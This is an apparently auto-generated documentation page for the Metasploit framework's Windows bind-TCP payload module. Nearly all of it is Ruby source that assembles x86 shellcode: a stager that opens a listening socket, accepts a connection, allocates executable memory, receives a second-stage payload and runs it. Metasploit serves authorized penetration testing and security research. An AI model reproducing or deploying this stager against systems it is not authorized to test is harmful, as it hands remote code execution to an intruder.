Module: Msf::Payload::Windows::BindTcp

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi, Exitfunk, SendUUID
Included in:
BindTcpRc4
Defined in:
lib/msf/core/payload/windows/bind_tcp.rb

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #initialize, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_bind_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :port (Integer) —

    The port to connect to

  • :exitfunk (String) —

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool) —

    Whether or not to enable error handling code



102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
 
# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 102

def asm_bind_tcp(opts={})

  reliable      = opts[:reliable]
  addr_fam      = 2
  sockaddr_size = 16

  if use_ipv6
    addr_fam = 23
    sockaddr_size = 28
  end

  encoded_port   = "0x%.8x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the newly connected clients socket
    ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

    bind_tcp:
      push 0x00003233        ; Push the bytes 'ws2_32',0,0 onto the stack.
      push 0x5F327377        ; ...
      push esp               ; Push a pointer to the "ws2_32" string on the stack.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call ebp               ; LoadLibraryA( "ws2_32" )

      mov eax, 0x0190        ; EAX = sizeof( struct WSAData )
      sub esp, eax           ; alloc some space for the WSAData structure
      push esp               ; push a pointer to this struct
      push eax               ; push the wVersionRequested parameter
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call ebp               ; WSAStartup( 0x0190, &WSAData );

      push 11
      pop ecx
    push_0_loop:
      push eax               ; if we succeed, eax will be zero, push it enough times
                             ; to cater for both IPv4 and IPv6
      loop push_0_loop

                             ; push zero for the flags param [8]
                             ; push null for reserved parameter [7]
                             ; we do not specify a WSAPROTOCOL_INFO structure [6]
                             ; we do not specify a protocol [5]
      push 1                 ; push SOCK_STREAM
      push #{addr_fam}       ; push AF_INET/6
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call ebp               ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
      xchg edi, eax          ; save the socket for later, don't care about the value of eax after this

                             ; bind to 0.0.0.0/[::], pushed earlier

      push #{encoded_port}   ; family AF_INET and port number
      mov esi, esp           ; save a pointer to sockaddr_in struct
      push #{sockaddr_size}  ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
      push esi               ; pointer to the sockaddr_in struct
      push edi               ; socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
      call ebp               ; bind( s, &sockaddr_in, 16 );
  ^

  # Check for a failed bind() call
  if reliable
    asm << %Q^
      test eax,eax
      jnz failure
    ^
  end

  asm << %Q^
                             ; backlog, pushed earlier [3]
      push edi               ; socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
      call ebp               ; listen( s, 0 );

                             ; we set length for the sockaddr struct to zero, pushed earlier [2]
                             ; we dont set the optional sockaddr param, pushed earlier [1]
      push edi               ; listening socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
      call ebp               ; accept( s, 0, 0 );

      push edi               ; push the listening socket
      xchg edi, eax          ; replace the listening socket with the new connected socket for further comms
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
      call ebp               ; closesocket( s );
  ^

  asm << asm_send_uuid if include_send_uuid

  asm
end

#asm_block_recv(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :reliable (Bool) —

    Whether or not to enable error handling code



198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
 
# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 198

def asm_block_recv(opts={})
  reliable     = opts[:reliable]
  asm = %Q^
    recv:
      ; Receive the size of the incoming second stage...
      push 0                 ; flags
      push 4                 ; length = sizeof( DWORD );
      push esi               ; the 4 byte buffer on the stack to hold the second stage length
      push edi               ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp               ; recv( s, &dwLength, 4, 0 );
  ^

  # Check for a failed recv() call
  if reliable
    asm << %Q^
      cmp eax, 0
      jle failure
    ^
  end

  asm << %Q^
      ; Alloc a RWX buffer for the second stage
      mov esi, [esi]         ; dereference the pointer to the second stage length
      push 0x40              ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
      push esi               ; push the newly received second stage length.
      push 0                 ; NULL as we dont care where the allocation is.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      xchg ebx, eax          ; ebx = our new memory address for the new stage
      push ebx               ; push the address of the new stage so we can return into it
    read_more:               ;
      push 0                 ; flags
      push esi               ; length
      push ebx               ; the current address into our second stage's RWX buffer
      push edi               ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp               ; recv( s, buffer, length, 0 );
  ^

  # Check for a failed recv() call
  if reliable
    asm << %Q^
      cmp eax, 0
      jle failure
    ^
  end

  asm << %Q^
      add ebx, eax           ; buffer += bytes_received
      sub esi, eax           ; length -= bytes_received, will set flags
      jnz read_more          ; continue if we have more to read
      ret                    ; return into the second stage
  ^

  if reliable
    if opts[:exitfunk]
      asm << %Q^
    failure:
      ^
      asm << asm_exitfunk(opts)
    else
      asm << %Q^
    failure:
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
      call ebp
      ^
    end
  end

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



24
25
26
27
28
29
30
31
32
33
34
35
36
37
 
# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 24

def generate(_opts = {})
  conf = {
    port:     datastore['LPORT'],
    reliable: false
  }

  # Generate the more advanced stager if we have the space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_bind_tcp(conf)
end

#generate_bind_tcp(opts = {}) ⇒ Object

Generate and compile the stager



61
62
63
64
65
66
67
68
69
70
71
72
 
# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 61

def generate_bind_tcp(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_bind_tcp(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#include_send_uuid ⇒ Object

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



43
44
45
 
# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 43

def include_send_uuid
  false
end

#required_space ⇒ Object

Determine the maximum amount of space required for the features requested



77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
 
# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 77

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
  space += 31

  # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)

  # Reliability checks add 4 bytes for the first check, 5 per recv check (2)
  space += 14

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object 



47
48
49
 
# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 47

def transport_config(opts={})
  transport_config_bind_tcp(opts)
end

#use_ipv6 ⇒ Object

Don’t use IPv6 by default, this can be overridden by other payloads



54
55
56
 
# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 54

def use_ipv6
  false
end